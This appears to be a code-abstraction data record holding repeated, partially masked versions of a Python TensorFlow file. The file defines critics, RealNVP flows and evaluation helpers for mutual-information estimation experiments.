{}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n 